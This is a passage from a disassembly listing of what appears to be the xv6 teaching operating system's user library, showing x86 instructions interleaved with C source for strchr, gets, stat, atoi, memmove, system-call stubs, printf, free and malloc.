217: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 21a: 0f b6 10 movzbl (%eax),%edx 21d: 84 d2 test %dl,%dl 21f: 74 1d je 23e <strchr+0x2e> if(*s == c) 221: 38 d3 cmp %dl,%bl 223: 89 d9 mov %ebx,%ecx 225: 75 0d jne 234 <strchr+0x24> 227: eb 17 jmp 240 <strchr+0x30> 229: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 230: 38 ca cmp %cl,%dl 232: 74 0c je 240 <strchr+0x30> for(; *s; s++) 234: 83 c0 01 add $0x1,%eax 237: 0f b6 10 movzbl (%eax),%edx 23a: 84 d2 test %dl,%dl 23c: 75 f2 jne 230 <strchr+0x20> return (char*)s; return 0; 23e: 31 c0 xor %eax,%eax } 240: 5b pop %ebx 241: 5d pop %ebp 242: c3 ret 243: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000250 <gets>: char* gets(char *buf, int max) { 250: 55 push %ebp 251: 89 e5 mov %esp,%ebp 253: 57 push %edi 254: 56 push %esi 255: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 256: 31 f6 xor %esi,%esi 258: 89 f3 mov %esi,%ebx { 25a: 83 ec 1c sub $0x1c,%esp 25d: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 260: eb 2f jmp 291 <gets+0x41> 262: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 268: 8d 45 e7 lea -0x19(%ebp),%eax 26b: 83 ec 04 sub $0x4,%esp 26e: 6a 01 push $0x1 270: 50 push %eax 271: 6a 00 push $0x0 273: e8 32 01 00 00 call 3aa <read> if(cc < 1) 278: 83 c4 10 add $0x10,%esp 27b: 85 c0 test %eax,%eax 27d: 7e 1c jle 29b <gets+0x4b> break; buf[i++] = c; 27f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 283: 83 c7 01 add $0x1,%edi 286: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 289: 3c 0a cmp $0xa,%al 28b: 74 23 je 2b0 <gets+0x60> 28d: 3c 0d cmp $0xd,%al 28f: 74 1f je 2b0 <gets+0x60> for(i=0; i+1 < max; ){ 291: 83 c3 01 add $0x1,%ebx 294: 3b 5d 0c cmp 0xc(%ebp),%ebx 297: 89 fe mov %edi,%esi 299: 7c cd jl 268 <gets+0x18> 29b: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 29d: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 2a0: c6 03 00 movb $0x0,(%ebx) } 2a3: 8d 65 f4 lea -0xc(%ebp),%esp 2a6: 5b pop %ebx 2a7: 5e pop %esi 2a8: 5f pop %edi 2a9: 5d pop %ebp 2aa: c3 ret 2ab: 90 nop 2ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 2b0: 8b 75 08 mov 0x8(%ebp),%esi 2b3: 8b 45 08 mov 0x8(%ebp),%eax 2b6: 01 de add %ebx,%esi 2b8: 89 f3 mov %esi,%ebx buf[i] = '\0'; 2ba: c6 03 00 movb $0x0,(%ebx) } 2bd: 8d 65 f4 lea -0xc(%ebp),%esp 2c0: 5b pop %ebx 2c1: 5e pop %esi 2c2: 5f pop %edi 2c3: 5d pop %ebp 2c4: c3 ret 2c5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 2c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000002d0 <stat>: int stat(const char *n, struct stat *st) { 2d0: 55 push %ebp 2d1: 89 e5 mov %esp,%ebp 2d3: 56 push %esi 2d4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 2d5: 83 ec 08 sub $0x8,%esp 2d8: 6a 00 push $0x0 2da: ff 75 08 pushl 0x8(%ebp) 2dd: e8 f0 00 00 00 call 3d2 <open> if(fd < 0) 2e2: 83 c4 10 add $0x10,%esp 2e5: 85 c0 test %eax,%eax 2e7: 78 27 js 310 <stat+0x40> return -1; r = fstat(fd, st); 2e9: 83 ec 08 sub $0x8,%esp 2ec: ff 75 0c pushl 0xc(%ebp) 2ef: 89 c3 mov %eax,%ebx 2f1: 50 push %eax 2f2: e8 f3 00 00 00 call 3ea <fstat> close(fd); 2f7: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 2fa: 89 c6 mov %eax,%esi close(fd); 2fc: e8 b9 00 00 00 call 3ba <close> return r; 301: 83 c4 10 add $0x10,%esp } 304: 8d 65 f8 lea -0x8(%ebp),%esp 307: 89 f0 mov %esi,%eax 309: 5b pop %ebx 30a: 5e pop %esi 30b: 5d pop %ebp 30c: c3 ret 30d: 8d 76 00 lea 0x0(%esi),%esi return -1; 310: be ff ff ff ff mov $0xffffffff,%esi 315: eb ed jmp 304 <stat+0x34> 317: 89 f6 mov %esi,%esi 319: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000320 <atoi>: int atoi(const char *s) { 320: 55 push %ebp 321: 89 e5 mov %esp,%ebp 323: 53 push %ebx 324: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 327: 0f be 11 movsbl (%ecx),%edx 32a: 8d 42 d0 lea -0x30(%edx),%eax 32d: 3c 09 cmp $0x9,%al n = 0; 32f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 334: 77 1f ja 355 <atoi+0x35> 336: 8d 76 00 lea 0x0(%esi),%esi 339: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 340: 8d 04 80 lea (%eax,%eax,4),%eax 343: 83 c1 01 add $0x1,%ecx 346: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 34a: 0f be 11 movsbl (%ecx),%edx 34d: 8d 5a d0 lea -0x30(%edx),%ebx 350: 80 fb 09 cmp $0x9,%bl 353: 76 eb jbe 340 <atoi+0x20> return n; } 355: 5b pop %ebx 356: 5d pop %ebp 357: c3 ret 358: 90 nop 359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000360 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 360: 55 push %ebp 361: 89 e5 mov %esp,%ebp 363: 56 push %esi 364: 53 push %ebx 365: 8b 5d 10 mov 0x10(%ebp),%ebx 368: 8b 45 08 mov 0x8(%ebp),%eax 36b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 36e: 85 db test %ebx,%ebx 370: 7e 14 jle 386 <memmove+0x26> 372: 31 d2 xor %edx,%edx 374: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 378: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 37c: 88 0c 10 mov %cl,(%eax,%edx,1) 37f: 83 c2 01 add $0x1,%edx while(n-- > 0) 382: 39 d3 cmp %edx,%ebx 384: 75 f2 jne 378 <memmove+0x18> return vdst; } 386: 5b pop %ebx 387: 5e pop %esi 388: 5d pop %ebp 389: c3 ret 0000038a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 38a: b8 01 00 00 00 mov $0x1,%eax 38f: cd 40 int $0x40 391: c3 ret 00000392 <exit>: SYSCALL(exit) 392: b8 02 00 00 00 mov $0x2,%eax 397: cd 40 int $0x40 399: c3 ret 0000039a <wait>: SYSCALL(wait) 39a: b8 03 00 00 00 mov $0x3,%eax 39f: cd 40 int $0x40 3a1: c3 ret 000003a2 <pipe>: SYSCALL(pipe) 3a2: b8 04 00 00 00 mov $0x4,%eax 3a7: cd 40 int $0x40 3a9: c3 ret 000003aa <read>: SYSCALL(read) 3aa: b8 05 00 00 00 mov $0x5,%eax 3af: cd 40 int $0x40 3b1: c3 ret 000003b2 <write>: SYSCALL(write) 3b2: b8 10 00 00 00 mov $0x10,%eax 3b7: cd 40 int $0x40 3b9: c3 ret 000003ba <close>: SYSCALL(close) 3ba: b8 15 00 00 00 mov $0x15,%eax 3bf: cd 40 int $0x40 3c1: c3 ret 000003c2 <kill>: SYSCALL(kill) 3c2: b8 06 00 00 00 mov $0x6,%eax 3c7: cd 40 int $0x40 3c9: c3 ret 000003ca <exec>: SYSCALL(exec) 3ca: b8 07 00 00 00 mov $0x7,%eax 3cf: cd 40 int $0x40 3d1: c3 ret 000003d2 <open>: SYSCALL(open) 3d2: b8 0f 00 00 00 mov $0xf,%eax 3d7: cd 40 int $0x40 3d9: c3 ret 000003da <mknod>: SYSCALL(mknod) 3da: b8 11 00 00 00 mov $0x11,%eax 3df: cd 40 int $0x40 3e1: c3 ret 000003e2 <unlink>: SYSCALL(unlink) 3e2: b8 12 00 00 00 mov $0x12,%eax 3e7: cd 40 int $0x40 3e9: c3 ret 000003ea <fstat>: SYSCALL(fstat) 3ea: b8 08 00 00 00 mov $0x8,%eax 3ef: cd 40 int $0x40 3f1: c3 ret 000003f2 <link>: SYSCALL(link) 3f2: b8 13 00 00 00 mov $0x13,%eax 3f7: cd 40 int $0x40 3f9: c3 ret 000003fa <mkdir>: SYSCALL(mkdir) 3fa: b8 14 00 00 00 mov $0x14,%eax 3ff: cd 40 int $0x40 401: c3 ret 00000402 <chdir>: SYSCALL(chdir) 402: b8 09 00 00 00 mov $0x9,%eax 407: cd 40 int $0x40 409: c3 ret 0000040a <dup>: SYSCALL(dup) 40a: b8 0a 00 00 00 mov $0xa,%eax 40f: cd 40 int $0x40 411: c3 ret 00000412 <getpid>: SYSCALL(getpid) 412: b8 0b 00 00 00 mov $0xb,%eax 417: cd 40 int $0x40 419: c3 ret 0000041a <sbrk>: SYSCALL(sbrk) 41a: b8 0c 00 00 00 mov $0xc,%eax 41f: cd 40 int $0x40 421: c3 ret 00000422 <sleep>: SYSCALL(sleep) 422: b8 0d 00 00 00 mov $0xd,%eax 427: cd 40 int $0x40 429: c3 ret 0000042a <uptime>: SYSCALL(uptime) 42a: b8 0e 00 00 00 mov $0xe,%eax 42f: cd 40 int $0x40 431: c3 ret 00000432 <swapread>: SYSCALL(swapread) 432: b8 16 00 00 00 mov $0x16,%eax 437: cd 40 int $0x40 439: c3 ret 0000043a <swapwrite>: SYSCALL(swapwrite) 43a: b8 17 00 00 00 mov $0x17,%eax 43f: cd 40 int $0x40 441: c3 ret 442: 66 90 xchg %ax,%ax 444: 66 90 xchg %ax,%ax 446: 66 90 xchg %ax,%ax 448: 66 90 xchg %ax,%ax 44a: 66 90 xchg %ax,%ax 44c: 66 90 xchg %ax,%ax 44e: 66 90 xchg %ax,%ax 00000450 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 450: 55 push %ebp 451: 89 e5 mov %esp,%ebp 453: 57 push %edi 454: 56 push %esi 455: 53 push %ebx 456: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 459: 85 d2 test %edx,%edx { 45b: 89 45 c0 mov %eax,-0x40(%ebp) neg = 1; x = -xx; 45e: 89 d0 mov %edx,%eax if(sgn && xx < 0){ 460: 79 76 jns 4d8 <printint+0x88> 462: f6 45 08 01 testb $0x1,0x8(%ebp) 466: 74 70 je 4d8 <printint+0x88> x = -xx; 468: f7 d8 neg %eax neg = 1; 46a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) } else { x = xx; } i = 0; 471: 31 f6 xor %esi,%esi 473: 8d 5d d7 lea -0x29(%ebp),%ebx 476: eb 0a jmp 482 <printint+0x32> 478: 90 nop 479: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi do{ buf[i++] = digits[x % base]; 480: 89 fe mov %edi,%esi 482: 31 d2 xor %edx,%edx 484: 8d 7e 01 lea 0x1(%esi),%edi 487: f7 f1 div %ecx 489: 0f b6 92 74 08 00 00 movzbl 0x874(%edx),%edx }while((x /= base) != 0); 490: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 492: 88 14 3b mov %dl,(%ebx,%edi,1) }while((x /= base) != 0); 495: 75 e9 jne 480 <printint+0x30> if(neg) 497: 8b 45 c4 mov -0x3c(%ebp),%eax 49a: 85 c0 test %eax,%eax 49c: 74 08 je 4a6 <printint+0x56> buf[i++] = '-'; 49e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 4a3: 8d 7e 02 lea 0x2(%esi),%edi 4a6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi 4aa: 8b 7d c0 mov -0x40(%ebp),%edi 4ad: 8d 76 00 lea 0x0(%esi),%esi 4b0: 0f b6 06 movzbl (%esi),%eax write(fd, &c, 1); 4b3: 83 ec 04 sub $0x4,%esp 4b6: 83 ee 01 sub $0x1,%esi 4b9: 6a 01 push $0x1 4bb: 53 push %ebx 4bc: 57 push %edi 4bd: 88 45 d7 mov %al,-0x29(%ebp) 4c0: e8 ed fe ff ff call 3b2 <write> while(--i >= 0) 4c5: 83 c4 10 add $0x10,%esp 4c8: 39 de cmp %ebx,%esi 4ca: 75 e4 jne 4b0 <printint+0x60> putc(fd, buf[i]); } 4cc: 8d 65 f4 lea -0xc(%ebp),%esp 4cf: 5b pop %ebx 4d0: 5e pop %esi 4d1: 5f pop %edi 4d2: 5d pop %ebp 4d3: c3 ret 4d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 4d8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 4df: eb 90 jmp 471 <printint+0x21> 4e1: eb 0d jmp 4f0 <printf> 4e3: 90 nop 4e4: 90 nop 4e5: 90 nop 4e6: 90 nop 4e7: 90 nop 4e8: 90 nop 4e9: 90 nop 4ea: 90 nop 4eb: 90 nop 4ec: 90 nop 4ed: 90 nop 4ee: 90 nop 4ef: 90 nop 000004f0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 4f0: 55 push %ebp 4f1: 89 e5 mov %esp,%ebp 4f3: 57 push %edi 4f4: 56 push %esi 4f5: 53 push %ebx 4f6: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4f9: 8b 75 0c mov 0xc(%ebp),%esi 4fc: 0f b6 1e movzbl (%esi),%ebx 4ff: 84 db test %bl,%bl 501: 0f 84 b3 00 00 00 je 5ba <printf+0xca> ap = (uint*)(void*)&fmt + 1; 507: 8d 45 10 lea 0x10(%ebp),%eax 50a: 83 c6 01 add $0x1,%esi state = 0; 50d: 31 ff xor %edi,%edi ap = (uint*)(void*)&fmt + 1; 50f: 89 45 d4 mov %eax,-0x2c(%ebp) 512: eb 2f jmp 543 <printf+0x53> 514: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 518: 83 f8 25 cmp $0x25,%eax 51b: 0f 84 a7 00 00 00 je 5c8 <printf+0xd8> write(fd, &c, 1); 521: 8d 45 e2 lea -0x1e(%ebp),%eax 524: 83 ec 04 sub $0x4,%esp 527: 88 5d e2 mov %bl,-0x1e(%ebp) 52a: 6a 01 push $0x1 52c: 50 push %eax 52d: ff 75 08 pushl 0x8(%ebp) 530: e8 7d fe ff ff call 3b2 <write> 535: 83 c4 10 add $0x10,%esp 538: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 53b: 0f b6 5e ff movzbl -0x1(%esi),%ebx 53f: 84 db test %bl,%bl 541: 74 77 je 5ba <printf+0xca> if(state == 0){ 543: 85 ff test %edi,%edi c = fmt[i] & 0xff; 545: 0f be cb movsbl %bl,%ecx 548: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 54b: 74 cb je 518 <printf+0x28> state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 54d: 83 ff 25 cmp $0x25,%edi 550: 75 e6 jne 538 <printf+0x48> if(c == 'd'){ 552: 83 f8 64 cmp $0x64,%eax 555: 0f 84 05 01 00 00 je 660 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 55b: 81 e1 f7 00 00 00 and $0xf7,%ecx 561: 83 f9 70 cmp $0x70,%ecx 564: 74 72 je 5d8 <printf+0xe8> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 566: 83 f8 73 cmp $0x73,%eax 569: 0f 84 99 00 00 00 je 608 <printf+0x118> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 56f: 83 f8 63 cmp $0x63,%eax 572: 0f 84 08 01 00 00 je 680 <printf+0x190> putc(fd, *ap); ap++; } else if(c == '%'){ 578: 83 f8 25 cmp $0x25,%eax 57b: 0f 84 ef 00 00 00 je 670 <printf+0x180> write(fd, &c, 1); 581: 8d 45 e7 lea -0x19(%ebp),%eax 584: 83 ec 04 sub $0x4,%esp 587: c6 45 e7 25 movb $0x25,-0x19(%ebp) 58b: 6a 01 push $0x1 58d: 50 push %eax 58e: ff 75 08 pushl 0x8(%ebp) 591: e8 1c fe ff ff call 3b2 <write> 596: 83 c4 0c add $0xc,%esp 599: 8d 45 e6 lea -0x1a(%ebp),%eax 59c: 88 5d e6 mov %bl,-0x1a(%ebp) 59f: 6a 01 push $0x1 5a1: 50 push %eax 5a2: ff 75 08 pushl 0x8(%ebp) 5a5: 83 c6 01 add $0x1,%esi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 5a8: 31 ff xor %edi,%edi write(fd, &c, 1); 5aa: e8 03 fe ff ff call 3b2 <write> for(i = 0; fmt[i]; i++){ 5af: 0f b6 5e ff movzbl -0x1(%esi),%ebx write(fd, &c, 1); 5b3: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 5b6: 84 db test %bl,%bl 5b8: 75 89 jne 543 <printf+0x53> } } } 5ba: 8d 65 f4 lea -0xc(%ebp),%esp 5bd: 5b pop %ebx 5be: 5e pop %esi 5bf: 5f pop %edi 5c0: 5d pop %ebp 5c1: c3 ret 5c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi state = '%'; 5c8: bf 25 00 00 00 mov $0x25,%edi 5cd: e9 66 ff ff ff jmp 538 <printf+0x48> 5d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 5d8: 83 ec 0c sub $0xc,%esp 5db: b9 10 00 00 00 mov $0x10,%ecx 5e0: 6a 00 push $0x0 5e2: 8b 7d d4 mov -0x2c(%ebp),%edi 5e5: 8b 45 08 mov 0x8(%ebp),%eax 5e8: 8b 17 mov (%edi),%edx 5ea: e8 61 fe ff ff call 450 <printint> ap++; 5ef: 89 f8 mov %edi,%eax 5f1: 83 c4 10 add $0x10,%esp state = 0; 5f4: 31 ff xor %edi,%edi ap++; 5f6: 83 c0 04 add $0x4,%eax 5f9: 89 45 d4 mov %eax,-0x2c(%ebp) 5fc: e9 37 ff ff ff jmp 538 <printf+0x48> 601: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 608: 8b 45 d4 mov -0x2c(%ebp),%eax 60b: 8b 08 mov (%eax),%ecx ap++; 60d: 83 c0 04 add $0x4,%eax 610: 89 45 d4 mov %eax,-0x2c(%ebp) if(s == 0) 613: 85 c9 test %ecx,%ecx 615: 0f 84 8e 00 00 00 je 6a9 <printf+0x1b9> while(*s != 0){ 61b: 0f b6 01 movzbl (%ecx),%eax state = 0; 61e: 31 ff xor %edi,%edi s = (char*)*ap; 620: 89 cb mov %ecx,%ebx while(*s != 0){ 622: 84 c0 test %al,%al 624: 0f 84 0e ff ff ff je 538 <printf+0x48> 62a: 89 75 d0 mov %esi,-0x30(%ebp) 62d: 89 de mov %ebx,%esi 62f: 8b 5d 08 mov 0x8(%ebp),%ebx 632: 8d 7d e3 lea -0x1d(%ebp),%edi 635: 8d 76 00 lea 0x0(%esi),%esi write(fd, &c, 1); 638: 83 ec 04 sub $0x4,%esp s++; 63b: 83 c6 01 add $0x1,%esi 63e: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 641: 6a 01 push $0x1 643: 57 push %edi 644: 53 push %ebx 645: e8 68 fd ff ff call 3b2 <write> while(*s != 0){ 64a: 0f b6 06 movzbl (%esi),%eax 64d: 83 c4 10 add $0x10,%esp 650: 84 c0 test %al,%al 652: 75 e4 jne 638 <printf+0x148> 654: 8b 75 d0 mov -0x30(%ebp),%esi state = 0; 657: 31 ff xor %edi,%edi 659: e9 da fe ff ff jmp 538 <printf+0x48> 65e: 66 90 xchg %ax,%ax printint(fd, *ap, 10, 1); 660: 83 ec 0c sub $0xc,%esp 663: b9 0a 00 00 00 mov $0xa,%ecx 668: 6a 01 push $0x1 66a: e9 73 ff ff ff jmp 5e2 <printf+0xf2> 66f: 90 nop write(fd, &c, 1); 670: 83 ec 04 sub $0x4,%esp 673: 88 5d e5 mov %bl,-0x1b(%ebp) 676: 8d 45 e5 lea -0x1b(%ebp),%eax 679: 6a 01 push $0x1 67b: e9 21 ff ff ff jmp 5a1 <printf+0xb1> putc(fd, *ap); 680: 8b 7d d4 mov -0x2c(%ebp),%edi write(fd, &c, 1); 683: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 686: 8b 07 mov (%edi),%eax write(fd, &c, 1); 688: 6a 01 push $0x1 ap++; 68a: 83 c7 04 add $0x4,%edi putc(fd, *ap); 68d: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 690: 8d 45 e4 lea -0x1c(%ebp),%eax 693: 50 push %eax 694: ff 75 08 pushl 0x8(%ebp) 697: e8 16 fd ff ff call 3b2 <write> ap++; 69c: 89 7d d4 mov %edi,-0x2c(%ebp) 69f: 83 c4 10 add $0x10,%esp state = 0; 6a2: 31 ff xor %edi,%edi 6a4: e9 8f fe ff ff jmp 538 <printf+0x48> s = "(null)"; 6a9: bb 6b 08 00 00 mov $0x86b,%ebx while(*s != 0){ 6ae: b8 28 00 00 00 mov $0x28,%eax 6b3: e9 72 ff ff ff jmp 62a <printf+0x13a> 6b8: 66 90 xchg %ax,%ax 6ba: 66 90 xchg %ax,%ax 6bc: 66 90 xchg %ax,%ax 6be: 66 90 xchg %ax,%ax 000006c0 <free>: static Header base; static Header *freep; void free(void *ap) { 6c0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6c1: a1 24 0b 00 00 mov 0xb24,%eax { 6c6: 89 e5 mov %esp,%ebp 6c8: 57 push %edi 6c9: 56 push %esi 6ca: 53 push %ebx 6cb: 8b 5d 08 mov 0x8(%ebp),%ebx bp = (Header*)ap - 1; 6ce: 8d 4b f8 lea -0x8(%ebx),%ecx 6d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6d8: 39 c8 cmp %ecx,%eax 6da: 8b 10 mov (%eax),%edx 6dc: 73 32 jae 710 <free+0x50> 6de: 39 d1 cmp %edx,%ecx 6e0: 72 04 jb 6e6 <free+0x26> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6e2: 39 d0 cmp %edx,%eax 6e4: 72 32 jb 718 <free+0x58> break; if(bp + bp->s.size == p->s.ptr){ 6e6: 8b 73 fc mov -0x4(%ebx),%esi 6e9: 8d 3c f1 lea (%ecx,%esi,8),%edi 6ec: 39 fa cmp %edi,%edx 6ee: 74 30 je 720 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 6f0: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 6f3: 8b 50 04 mov 0x4(%eax),%edx 6f6: 8d 34 d0 lea (%eax,%edx,8),%esi 6f9: 39 f1 cmp %esi,%ecx 6fb: 74 3a je 737 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 6fd: 89 08 mov %ecx,(%eax) freep = p; 6ff: a3 24 0b 00 00 mov %eax,0xb24 } 704: 5b pop %ebx 705: 5e pop %esi 706: 5f pop %edi 707: 5d pop %ebp 708: c3 ret 709: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 710: 39 d0 cmp %edx,%eax 712: 72 04 jb 718 <free+0x58> 714: 39 d1 cmp %edx,%ecx 716: 72 ce jb 6e6 <free+0x26> { 718: 89 d0 mov %edx,%eax 71a: eb bc jmp 6d8 <free+0x18> 71c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 720: 03 72 04 add 0x4(%edx),%esi 723: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 726: 8b 10 mov (%eax),%edx 728: 8b 12 mov (%edx),%edx 72a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 72d: 8b 50 04 mov 0x4(%eax),%edx 730: 8d 34 d0 lea (%eax,%edx,8),%esi 733: 39 f1 cmp %esi,%ecx 735: 75 c6 jne 6fd <free+0x3d> p->s.size += bp->s.size; 737: 03 53 fc add -0x4(%ebx),%edx freep = p; 73a: a3 24 0b 00 00 mov %eax,0xb24 p->s.size += bp->s.size; 73f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 742: 8b 53 f8 mov -0x8(%ebx),%edx 745: 89 10 mov %edx,(%eax) } 747: 5b pop %ebx 748: 5e pop %esi 749: 5f pop %edi 74a: 5d pop %ebp 74b: c3 ret 74c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000750 <malloc>: return freep; } void* malloc(uint nbytes) { 750: 55 push %ebp 751: 89 e5 mov %esp,%ebp 753: 57 push %edi 754: 56 push %esi 755: 53 push %ebx 756: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 759: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 75c: 8b 15 24 0b 00 00 mov 0xb24,%edx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 762: 8d 78 07 lea 0x7(%eax),%edi 765: c1 ef 03 shr $0x3,%edi 768: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 76b: 85 d2 test %edx,%edx 76d: 0f 84 9d 00 00 00 je 810 <malloc+0xc0> 773: 8b 02 mov (%edx),%eax 775: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 778: 39 cf cmp %ecx,%edi 77a: 76 6c jbe 7e8 <malloc+0x98> 77c: 81 ff 00 10 00 00 cmp $0x1000,%edi 782: bb 00 10 00 00 mov $0x1000,%ebx 787: 0f 43 df cmovae %edi,%ebx p = sbrk(nu * sizeof(Header)); 78a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi 791: eb 0e jmp 7a1 <malloc+0x51> 793: 90 nop 794: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 798: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 79a: 8b 48 04 mov 0x4(%eax),%ecx 79d: 39 f9 cmp %edi,%ecx 79f: 73 47 jae 7e8 <malloc+0x98> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 7a1: 39 05 24 0b 00 00 cmp %eax,0xb24 7a7: 89 c2 mov %eax,%edx 7a9: 75 ed jne 798 <malloc+0x48> p = sbrk(nu * sizeof(Header)); 7ab: 83 ec 0c sub $0xc,%esp 7ae: 56 push %esi 7af: e8 66 fc ff ff call 41a <sbrk> if(p == (char*)-1) 7b4: 83 c4 10 add $0x10,%esp 7b7: 83 f8 ff cmp $0xffffffff,%eax 7ba: 74 1c je 7d8 <malloc+0x88> hp->s.size = nu; 7bc: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 7bf: 83 ec 0c sub $0xc,%esp 7c2: 83 c0 08 add $0x8,%eax 7c5: 50 push %eax 7c6: e8 f5 fe ff ff call 6c0 <free> return freep; 7cb: 8b 15 24 0b 00 00 mov 0xb24,%edx if((p = morecore(nunits)) == 0) 7d1: 83 c4 10 add $0x10,%esp 7d4: 85 d2 test %edx,%edx 7d6: 75 c0 jne 798 <malloc+0x48> return 0; } } 7d8: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 7db: 31 c0 xor %eax,%eax } 7dd: 5b pop %ebx 7de: 5e pop %esi 7df: 5f pop %edi 7e0: 5d pop %ebp 7e1: c3 ret 7e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 7e8: 39 cf cmp %ecx,%edi 7ea: 74 54 je 840 <malloc+0xf0> p->s.size -= nunits; 7ec: 29 f9 sub %edi,%ecx 7ee: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 7f1: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 7f4: 89 78 04 mov %edi,0x4(%eax) freep = prevp; 7f7: 89 15 24 0b 00 00 mov %edx,0xb24 } 7fd: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 800: 83 c0 08 add $0x8,%eax } 803: 5b pop %ebx 804: 5e pop %esi 805: 5f pop %edi 806: 5d pop %ebp 807: c3 ret 808: 90 nop 809: 8d b4 26 00 00 00 00 lea 